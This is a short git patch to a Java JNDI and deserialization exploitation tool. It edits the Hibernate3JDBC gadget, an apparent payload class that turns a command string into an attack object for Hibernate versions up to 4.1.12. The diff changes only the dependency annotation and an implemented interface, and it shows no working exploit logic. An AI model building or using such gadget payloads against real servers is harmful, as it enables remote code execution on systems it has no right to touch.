From 2288a5eb859606e84d71802f4c2a57ccb2e81fda Mon Sep 17 00:00:00 2001 From: Fw-fW-fw <136979459@qq.com> Date: Mon, 19 Aug 2024 22:42:26 +0800 Subject: [PATCH] =?UTF-8?q?add=20Hibernate3JDBC=20(org.hibernate<=3D4.12?= =?UTF-8?q?=E5=8F=AF=E7=94=A8)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java index d29d945..1be2c3e 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java @@ -18,9 +18,9 @@ import javax.management.BadAttributeValueExpException; import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; -@Dependencies({" org.hibernate<=4.12"}) +@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina"}) @Authors({Authors.Unam4}) -public class Hibernate3JDBC implements ObjectPayload{ +public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { @Override public Object getObject(String command) throws Exception { ClassPool pool = ClassPool.getDefault();